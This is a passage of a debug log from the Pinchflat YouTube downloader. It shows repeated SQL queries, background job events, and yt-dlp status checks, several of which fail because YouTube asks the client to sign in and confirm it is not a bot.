s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:28.622 [debug] QUERY OK source="media_items" db=0.9ms queue=0.4ms idle=8.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [19, 20] 20:31:28.624 [debug] QUERY OK source="media_profiles" db=2.8ms queue=0.2ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:28.625 [debug] QUERY OK source="media_items" db=0.3ms queue=0.4ms idle=7.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20] 20:31:28.628 [debug] QUERY OK source="media_metadata" db=0.4ms idle=7.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [20] 20:31:28.629 [debug] QUERY OK source="media_profiles" db=0.7ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:28.630 [debug] QUERY OK source="settings" db=0.7ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:28.630 [debug] QUERY OK source="settings" db=0.6ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:28.632 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:28.634 [debug] QUERY OK source="settings" db=0.4ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:28.635 [debug] QUERY OK source="settings" db=0.5ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:28.635 [debug] QUERY OK source="settings" db=0.5ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:28.636 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=y3rVrWqP-Rs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3e/c7/3ec712cee710e5c3f3738ccfda83bb4dfa95efb2b4e29f694fe265d1a8276300.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:30.383 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zJqhL2L2GM0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9a/51/9a514407fb45bf8e1f6f6bf7a54a61b86a892532ce5b3e7e87e128bdae83253f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] zJqhL2L2GM0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:30.383 [error] yt-dlp download error for media item #19: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] zJqhL2L2GM0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:30.383 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] zJqhL2L2GM0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:30.387 [info] {"args":{"id":19},"id":217,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1984915,"event":"job:stop","attempt":1,"queue_time":17398096,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:30.389 [debug] QUERY OK source="tasks" db=1.9ms idle=1752.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:30.390 [debug] QUERY OK source="media_items" db=0.4ms queue=0.7ms idle=1753.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20] 20:31:30.394 [info] {"args":{"id":21},"id":219,"meta":{},"system_time":1774150290394828833,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:30.396 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=562.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21] 20:31:30.396 [debug] QUERY OK source="tasks" db=1.6ms idle=8.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:30.397 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:30.398 [debug] QUERY OK source="sources" db=1.0ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:30.399 [debug] QUERY OK source="media_items" db=1.0ms idle=7.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [20, 21] 20:31:30.399 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.3ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:30.402 [debug] QUERY OK source="media_items" db=2.0ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [21] 20:31:30.404 [debug] QUERY OK source="media_metadata" db=0.2ms idle=7.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [21] 20:31:30.404 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:30.406 [debug] QUERY OK source="settings" db=0.9ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:30.407 [debug] QUERY OK source="settings" db=0.6ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:30.408 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:30.409 [debug] QUERY OK source="settings" db=0.3ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:30.410 [debug] QUERY OK source="settings" db=0.6ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:30.411 [debug] QUERY OK source="settings" db=0.6ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:30.411 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zbo4_yYMBxg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d1/72/d17217e2bdacbb4f2fa465ee0a22c03d47de8610679853b5434c967f585f1164.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:30.660 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=y3rVrWqP-Rs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3e/c7/3ec712cee710e5c3f3738ccfda83bb4dfa95efb2b4e29f694fe265d1a8276300.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] y3rVrWqP-Rs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:30.661 [error] yt-dlp download error for media item #20: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] y3rVrWqP-Rs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:30.661 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] y3rVrWqP-Rs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:30.663 [info] {"args":{"id":20},"id":218,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2044997,"event":"job:stop","attempt":1,"queue_time":17615080,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:30.665 [debug] QUERY OK source="tasks" db=1.1ms idle=257.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:30.666 [debug] QUERY OK source="media_items" db=0.5ms idle=255.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21] 20:31:30.673 [info] {"args":{"id":22},"id":220,"meta":{},"system_time":1774150290672824381,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:30.676 [debug] QUERY OK source="media_items" db=3.0ms queue=0.1ms idle=261.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [22] 20:31:30.676 [debug] QUERY OK source="tasks" db=3.2ms idle=9.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:30.681 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:30.682 [debug] QUERY OK source="media_items" db=5.4ms idle=11.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [21, 22] 20:31:30.690 [debug] QUERY OK source="sources" db=9.4ms idle=15.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:30.692 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.4ms idle=18.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:30.693 [debug] QUERY OK source="media_items" db=0.5ms idle=16.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [22] 20:31:30.696 [debug] QUERY OK source="media_metadata" db=0.2ms idle=19.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [22] 20:31:30.697 [debug] QUERY OK source="media_profiles" db=0.6ms idle=14.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:30.698 [debug] QUERY OK source="settings" db=0.7ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:30.699 [debug] QUERY OK source="settings" db=0.7ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:30.700 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:30.701 [debug] QUERY OK source="settings" db=0.2ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:30.702 [debug] QUERY OK source="settings" db=0.5ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:30.703 [debug] QUERY OK source="settings" db=0.5ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:30.703 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=m5egqYwZmjI --simulate --skip-download --print-to-file %(.{live_status})j 